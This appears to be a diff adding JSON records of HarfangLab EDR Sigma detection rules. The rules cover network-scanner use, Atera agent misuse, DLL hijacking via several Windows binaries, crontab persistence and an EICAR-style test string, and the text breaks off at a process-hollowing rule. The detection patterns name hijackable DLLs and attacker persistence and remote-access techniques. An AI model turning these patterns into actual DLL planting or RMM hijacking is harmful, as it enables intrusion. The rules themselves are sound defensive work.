+  "last_update": "2026-03-23T11:45:34.083508Z",
+  "creation_date": "2026-03-23T11:45:34.083510Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083515Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.softperfect.com/products/networkscanner/",
+    "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/",
+    "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware",
+    "https://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "t1046_softperfect_network_scanner.yml",
+  "content": "title: SoftPerfect Network Scanner Execution\nid: ae29f29b-fc65-464d-a199-837b6e64b76d\ndescription: |\n    Detects the execution of SoftPerfect Network Scanner, a tool that may be used by adversaries during the reconnaissance phase to gather information and identify potential targets for lateral movement.\n    SoftPerfect Network Scanner is a legitimate network scanning tool designed for network discovery and troubleshooting, but it can also be abused by attackers to map networks and identify systems of interest for exploitation.\n    It is recommended to investigate the execution of SoftPerfect Network Scanner to determine if it has legitimate purposes, review network traffic for unusual scanning patterns, correlate with other reconnaissance activities.\n    If this is legitimate and recurrent in your network, it is highly recommended to disable this rule.\nreferences:\n    - https://www.softperfect.com/products/networkscanner/\n    - https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/\n    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware\n    - https://attack.mitre.org/techniques/T1046/\ndate: 2023/03/21\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1135\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.NetworkScan\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Company|contains: 'SoftPerfect' # SoftPerfect, SoftPerfect Research, SoftPerfect Pty Ltd\n        Product:\n            - 'Network Scanner'\n            - 'SoftPerfect Network Scanner'\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ae29f29b-fc65-464d-a199-837b6e64b76d",
+  "rule_name": "SoftPerfect Network Scanner Execution",
+  "rule_description": "Detects the execution of SoftPerfect Network Scanner, a tool that may be used by adversaries during the reconnaissance phase to gather information and identify potential targets for lateral movement.\nSoftPerfect Network Scanner is a legitimate network scanning tool designed for network discovery and troubleshooting, but it can also be abused by attackers to map networks and identify systems of interest for exploitation.\nIt is recommended to investigate the execution of SoftPerfect Network Scanner to determine if it has legitimate purposes, review network traffic for unusual scanning patterns, correlate with other reconnaissance activities.\nIf this is legitimate and recurrent in your network, it is highly recommended to disable this rule.\n",
+  "rule_creation_date": "2023-03-21",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1135"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ae920411-dd3a-4c3b-ac96-58123a3717c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082978Z",
+  "creation_date": "2026-03-23T11:45:34.082980Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082985Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/MaxRogers5/status/1572655029018038272",
+    "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_suspicious_execution_of_atera_agent.yml",
+  "content": "title: Suspicious Atera Agent Execution\nid: ae920411-dd3a-4c3b-ac96-58123a3717c1\ndescription: |\n    Detects suspicious execution of the legitimate remote access tool Atera Agent.\n    Attackers can maliciously use Atera Agent by reconfiguring it to point to an attacker-controlled email address, thus providing remote access.\n    It is recommended to investigate any actions taken by Atera and to determine if this RMM tool is expected in your environment.\nreferences:\n    - https://twitter.com/MaxRogers5/status/1572655029018038272\n    - https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/09/26\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.Atera\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_process:\n        OriginalFileName: 'AteraAgent.exe'\n\n    selection_arg:\n        CommandLine|contains: 'IntegratorLogin'\n\n    selection_email:\n        CommandLine|contains:\n            - '@outlook'\n            - '@hotmail'\n            - '@msn'\n            - '@aol'\n            - '@yahoo'\n            - '@live'\n            - '@yandex'\n            - '@gmail'\n            - '@protonmail'\n            - '@mail.ru'\n            - '@mailto.plus'\n            - '@dropmail'\n            - '@firemail.com.br' # https://x.com/johnk3r/status/1854695923537805598\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ae920411-dd3a-4c3b-ac96-58123a3717c1",
+  "rule_name": "Suspicious Atera Agent Execution",
+  "rule_description": "Detects suspicious execution of the legitimate remote access tool Atera Agent.\nAttackers can maliciously use Atera Agent by reconfiguring it to point to an attacker-controlled email address, thus providing remote access.\nIt is recommended to investigate any actions taken by Atera and to determine if this RMM tool is expected in your environment.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ae9dc9ce-dd60-4db1-a501-dc8fa2125417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618825Z",
+  "creation_date": "2026-03-23T11:45:34.618827Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618832Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_logonui.yml",
+  "content": "title: DLL Hijacking via logon.exe\nid: ae9dc9ce-dd60-4db1-a501-dc8fa2125417\ndescription: |\n    Detects potential Windows DLL Hijacking via logon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'logonui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\logoncontroller.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ae9dc9ce-dd60-4db1-a501-dc8fa2125417",
+  "rule_name": "DLL Hijacking via logon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via logon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ae9fae6e-37ff-4753-b87f-5414d285d5ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098797Z",
+  "creation_date": "2026-03-23T11:45:34.098799Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098803Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netdom.yml",
+  "content": "title: DLL Hijacking via NETDO.exe\nid: ae9fae6e-37ff-4753-b87f-5414d285d5ea\ndescription: |\n    Detects potential Windows DLL Hijacking via NETDO.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'NETDOM.EXE'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\cryptdll.dll'\n            - '\\dnsapi.dll'\n            - '\\dsparse.dll'\n            - '\\dsrole.dll'\n            - '\\logoncli.dll'\n            - '\\netjoin.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\sspicli.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ae9fae6e-37ff-4753-b87f-5414d285d5ea",
+  "rule_name": "DLL Hijacking via NETDO.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via NETDO.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "af0bca45-967b-4f4e-9bec-257f493f23b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608885Z",
+  "creation_date": "2026-03-23T11:45:34.608888Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608896Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/"
+  ],
+  "name": "t1204_harfanglab_eicar.yml",
+  "content": "title: Harfanglab EICAR (Windows)\nid: af0bca45-967b-4f4e-9bec-257f493f23b7\ndescription: |\n    This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\n    EICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\n    This does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\n    If this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/\ndate: 2021/06/22\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.EICAR\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains: 'EICAR-STANDARD-HARFANGLAB-TEST-STRING'\n    condition: selection\nlevel: low\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "af0bca45-967b-4f4e-9bec-257f493f23b7",
+  "rule_name": "Harfanglab EICAR (Windows)",
+  "rule_description": "This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\nEICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\nThis does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\nIf this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "af24b126-2721-4de0-82bf-9eda04d35316",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089264Z",
+  "creation_date": "2026-03-23T11:45:34.089266Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089270Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking",
+    "https://www.trellix.com/en-au/about/newsroom/stories/xdr/using-mitre-advance-trellix-products.html",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_suspicious_execution_linux.yml",
+  "content": "title: Suspicious Crontab Execution (Linux)\nid: af24b126-2721-4de0-82bf-9eda04d35316\ndescription: |\n    Detects a suspicious execution of the crontab command.\n    Attackers can use crontab to add malicious cron jobs to establish persistence.\n    It is recommended to investigate the parent process of crontab as well as the potential creation of cron jobs to determine whether this action was legitimate.\nreferences:\n    - https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking\n    - https://www.trellix.com/en-au/about/newsroom/stories/xdr/using-mitre-advance-trellix-products.html\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2024/09/27\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Crontab\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection1:\n        CommandLine: '*echo*|*crontab -'\n\n    selection2:\n        CommandLine: 'crontab -'\n\n    filter_selection2:\n        ParentImage:\n            - '/bin/sh'\n            - '/bin/bash'\n            - '/bin/csh'\n            - '/bin/dash'\n            - '/bin/ksh'\n            - '/bin/tcsh'\n            - '/bin/zsh'\n            - '/usr/bin/bash'\n            - '/usr/bin/dash'\n\n    exclusion_parent_selection1:\n        ParentImage:\n            - '/usr/sbin/veeamworker'\n            - '/usr/sbin/veeamservice'\n\n    exclusion_parent_selection2:\n        ParentImage:\n            - '/usr/sbin/veeamworker'\n            - '/usr/sbin/veeamservice'\n\n    exclusion_docker:\n        Ancestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_puppet:\n        ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_nvidia:\n        CommandLine|contains|all:\n            - ' echo \"# NVIDIA SDK Manager updater'\n            - 'updater.sh'\n        ParentImage|endswith: 'sdkmanager-gui'\n\n    exclusion_ibm:\n        ParentImage: '/IBM/InformationServer/Server/DSEngine/bin/dsapi_slave'\n\n    # https://catalyst.earth/tutorial/installing-catalyst-professional-on-linux/\n    exclusion_catalyst:\n        ParentImage: '/opt/catalystpro/exe/catalystpro.exe'\n\n    condition: (selection1 or (selection2 and not filter_selection2)) and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "af24b126-2721-4de0-82bf-9eda04d35316",
+  "rule_name": "Suspicious Crontab Execution (Linux)",
+  "rule_description": "Detects a suspicious execution of the crontab command.\nAttackers can use crontab to add malicious cron jobs to establish persistence.\nIt is recommended to investigate the parent process of crontab as well as the potential creation of cron jobs to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-09-27",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "af36e66f-17e7-4683-b412-ff4e992f0f4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587151Z",
+  "creation_date": "2026-03-23T11:45:34.587155Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587162Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rmactivate_ssp_isv.yml",
+  "content": "title: DLL Hijacking via rmactivate_ssp_isv.exe\nid: af36e66f-17e7-4683-b412-ff4e992f0f4f\ndescription: |\n    Detects potential Windows DLL Hijacking via rmactivate_ssp_isv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rmactivate_ssp_isv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\cryptsp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "af36e66f-17e7-4683-b412-ff4e992f0f4f",
+  "rule_name": "DLL Hijacking via rmactivate_ssp_isv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rmactivate_ssp_isv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "af55dc31-5d7c-4332-a872-fccbee512a84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087162Z",
+  "creation_date": "2026-03-23T11:45:34.087164Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087169Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gist.github.com/xenoscr/99370ecffb07f629ae74e7808cb91450",
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1055_powershell_process_hollowing.yml",
